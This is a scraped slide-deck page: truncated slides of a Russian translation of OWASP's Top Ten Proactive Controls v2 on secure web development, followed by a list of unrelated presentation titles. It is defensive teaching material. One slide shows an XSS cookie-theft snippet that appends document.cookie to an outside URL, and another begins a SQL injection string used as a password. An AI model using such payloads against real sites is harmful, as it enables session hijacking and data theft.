Содержание
- 2. OWASP Top Ten Proactive Controls – v2
- 3. C1: Проверять всю безопасность рано и часто
- 5. Проверять безопасность рано и часто ! Security testing needs to be an integral part of a
- 6. The DevOps challenge to security … http://fr.slideshare.net/StephendeVries2/continuous-security-testing-with-devops DevOps : continuous delivery pipeline. Mature DevOps velocity is
- 7. Автоматическое тестирование безопасности в a Continuous Delivery Pipeline ! http://devops.com/2015/04/06/automated-security-testing-continuous-delivery-pipeline/ An easy approach to include security
- 8. BDD-Security Testing framework http://www.continuumsecurity.net/bdd-intro.html The BDD-Security framework может быть сконфигурирован с использованием естественного языка (Given, When
- 9. Среда тестирования BDD-Security http://www.continuumsecurity.net/bdd-intro.html Автоматическое сканирование XSS Senario: The application should not contain Cross Site Scripting
- 10. BDD-Security Testing framework http://www.continuumsecurity.net/bdd-intro.html Тестирование управления доступом @Restricted(users = {"admin"}, sensitiveData = "User List") public void
- 11. Охватываемые риски: все!
- 12. C2: Параметризованные запросы
- 13. Power of SQL Injection …
- 14. Сильный пароль… ✓ Upper ✓ Lower ✓ Number ✓ Special ✓ Over 16 characters X' or
- 15. Уязвимое использование Безопасное использование //SQL PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID
- 16. Охватываемые риски
- 17. C3: Кодирование данных перед их использованием парсером
- 19. <
- 20. Атака 1 : кража cookie Attack 2 : искажение веб-сайта var badURL='https://owasp.org/somesite/data=' + document.cookie; var img
- 21. Проблема Решение OWASP Java Encoder Project OWASP Java HTML Sanitizer Project Microsoft Encoder and AntiXSS Library
- 22. System.Web.Security.AntiXSS Microsoft.Security.Application. AntiXSS Может использоваться для кодирования HTML, HTML-атрибутов, XML, CSS и JavaScript. Native .NET библиотека
- 23. Нет необходимости в библиотеках третьих сторон или конфигурации Данный код был разработан с учетом высокой доступности
- 24. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtml Encode#forHtmlContent Encode#forHtmlAttribute Encode#forHtmlUnquotedAttribute XML Contexts Encode#forXml Encode#forXmlContent Encode#forXmlAttribute
- 25. Ruby on Rails : http://api.rubyonrails.org/classes/ERB/Util.html PHP : http://twig.sensiolabs.org/doc/filters/escape.html http://framework.zend.com/manual/2.1/en/modules/zend.escaper.introduction.html Java/Scala (Updated January 2015) : https://www.owasp.org/index.php/OWASP_Java_Encoder_Project .NET
- 26. LDAP Encoding Functions : ESAPI and .NET AntiXSS Command Injection Encoding Functions : Careful here !
- 27. Охватываемые риски
- 28. C4: – Проверка действительности всех входных данных
- 30. HTML Sanitizer написан на Java which lets you include HTML authored by third-parties in your web
- 31. Caja Caja (pronounced /ˈkɑːhɑː/ kah-hah)[1] является проектом Google и реализован на JavaScript для "virtual iframes" ,
- 32. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project Пример использования: validate img tags public static final PolicyFactory IMAGES =
- 33. Pure JavaScript, client side HTML Sanitization with CAJA! http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer https://code.google.com/p/google-caja/source/browse/trunk/src/com/google/caja/plugin/html-sanitizer.js Python https://pypi.python.org/pypi/bleach PHP http://htmlpurifier.org/ http://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/ .NET
- 34. Проверка Upload Проверка имени файла и размера + антивирус Хранение загруженных файлов Использовать только проверенные имена
- 35. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 36. C5: Выполнение аутентификации и управление идентификациями
- 38. Взлом пароля
- 39. 1) Не ограничивать тип символов или длину пароля пользователя по следующим причинам Ограничение паролей для защиты
- 40. 2) Использовать криптографически сильную специфичную для креденциала salt protect( [salt] + [password] ); Использовать 32char или
- 41. 3a) навязывать трудную проверку как для атакующего, так и для проверяющей стороны PBKDF2([salt] + [password], c=140,000);
- 42. 3b) Навязывать трудную проверку только для атакующего HMAC-SHA-256( [private key], [salt] + [password] ) Защищать данный
- 43. И снова… идеальный пароль! ✓ Upper ✓ Lower ✓ Number ✓ Special ✓ Over 8 characters
- 44. Использовать 2 идентификационных вопроса Фамилия, номер аккаунта, email, DOB Обеспечить политику блокировки Задавать несколько вопросов, относящихся
- 45. Лучшие практики аутентификации пользователя – реальные примеры
- 46. Authentication Cheat Sheet https://www.owasp.org/index.php/Authentication_Cheat_Sheet Password Storage Cheat Sheet https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet Forgot Password Cheat Sheet https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet Session Management
- 47. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 48. C6: Реализация необходимого управления доступом
- 50. Жестко встроенная в прикладной код проверка роли Недостаток, связанный с логикой централизованного управления доступом Недоверяемые данные,
- 51. Сравнение вертикального и горизонтального управления доступом Вертикальное управление доступом: разрешать различным типам пользователей доступ к различным
- 52. Проверки роли, жество зашитые в код RBAC RBAC (Role based access control) if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER"))
- 53. ASP.NET Roles vs Claims Authorization [Authorize(Roles = "Jedi", "Sith")] public ActionResult WieldLightsaber() { return View(); }
- 54. Claims-Based Authorization When an identity is created it may be assigned one or more claims issued
- 55. Apache Shiro Permission Based Access Control http://shiro.apache.org/ Проверка, имеет ли текущее использование определенную роль или нет:
- 56. http://shiro.apache.org/ Check if the current user have a permission to act on a certain type of
- 57. http://shiro.apache.org/ Check if the current user have access to a specific instance of a type :
- 58. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 59. C7: Защита данных
- 60. Какие преимущества обеспечивает HTTPS? Конфиденциальность : шпион не может просмотреть ваши данные Целостность: шпион не может
- 61. HSTS (Strict Transport Security – строгая безопасность на транспортном уровне – rfc 6797) http://www.youtube.com/watch?v=zEV3HOuM_Vw Forward Secrecy
- 62. Шифрование данных при передачи: HSTS (Strict Transport Security) Forces browser to only make HTTPS connection to
- 63. What is Pinning ? Pinning is a key continuity scheme Detect when an imposter with a
- 64. Encrypting data in Transit : Browser-Based TOFU Pinning https://www.owasp.org/index.php/Pinning_Cheat_Sheet Browser-Based TOFU Pinning : Trust on First
- 65. Encrypting data in Transit : Pinning in Play (Chrome) https://www.owasp.org/index.php/Pinning_Cheat_Sheet
- 66. Encrypting data in Transit : Forward Secrecy If you use older SSL ciphers, every time anyone
- 68. AES
- 69. AES-ECB
- 70. AES-GCM
- 71. AES-CBC
- 72. Unique IV per message
- 73. Padding
- 74. Key storage and management + Cryptographic process isolation
- 75. Confidentiality !
- 76. HMAC your ciphertext
- 77. Integrity !
- 78. Derive integrity and confidentiality keys from same master key with labeling
- 79. Don't forget to generate a master key from a good random source
- 81. Encrypting data at Rest : Google KeyCzar https://github.com/google/keyczar Sample Usage : Crypter crypter = new Crypter("/path/to/your/keys");
- 82. Encrypting data at Rest : Libsodium https://www.gitbook.com/book/jedisct1/libsodium/details A high-security, cross-platform & easy-to-use crypto library. Modern, easy-to-use
- 83. C8: Implement Logging And Intrusion Detection
- 84. Tips for proper application logging Use a common/standard logging approach to facilitate correlation and analysis Logging
- 85. App Layer Intrusion Detection : Detection Points Examples Input validation failure server side when client side
- 86. App Layer Intrusion Detection : Detection Points Examples Blatant SQLi or XSS injection attacks. Workflow sequence
- 87. C9: Leverage Security Frameworks and Libraries
- 88. Leverage Security Frameworks and Libraries Don't reinvent the wheel : use existing coding libraries and software
- 89. A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4
- 90. C10: Error and Exception Handling
- 92. Best practices Manage exceptions in a centralized manner to avoid duplicated try/catch blocks in the code,
- 94. Скачать презентацию




























![Caja Caja (pronounced /ˈkɑːhɑː/ kah-hah)[1] является проектом Google и реализован на JavaScript](/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1022543/slide-30.jpg)








![2) Использовать криптографически сильную специфичную для креденциала salt protect( [salt] + [password]](/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1022543/slide-39.jpg)

![3b) Навязывать трудную проверку только для атакующего HMAC-SHA-256( [private key], [salt] +](/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1022543/slide-41.jpg)










![ASP.NET Roles vs Claims Authorization [Authorize(Roles = "Jedi", "Sith")] public ActionResult WieldLightsaber()](/_ipx/f_webp&q_80&fit_contain&s_1440x1080/imagesDir/jpg/1022543/slide-52.jpg)







































Циклы. Исполнитель робот
САПР - система автоматизированного проектирования
Компьютер в жизни школьника: вред или польза
История слова интернет
Обучение организаторов в аудитории
Игра Запомни
e4f2ce2d82f8425681dc11663001dd04
Математический пакет MathCAD
Определение ключевых полей
Знакомство учащихся с мультимедийными ресурсами школьной библиотеки
Структурное программирование. Модульное программирование
Человек и компьютер
Разработка проектной документации для системы управления процессом создания программного обеспечения АО Тандер
Презентация на тему Электромагнитное поле. Компьютер как источник электромагнитных полей
Алгоритм. Циклический алгоритм. While, for. Range. Random
Информация и её свойства. Информация и информационные процессы
ATOM RPG — компьютерная игра
Кодирование информации
2_5260226655649015317
Компьютерное зрение. Математика в задачах обработки изображений
Создание музыкальной композиции с помощью компьютерных технологий
Crystal Clear. Простота и совершенство
Рекламные компании
Создание кроссворда в текстовом процессоре Word. 8 класс
Коммуникация и общество
Краевой конкурс социальных инициатив Мой край – мое дело. Номинация Медиапроекты
Корпоративные каналы коммуникации Леруа Мерлен
Oracle Application Express - что это такое?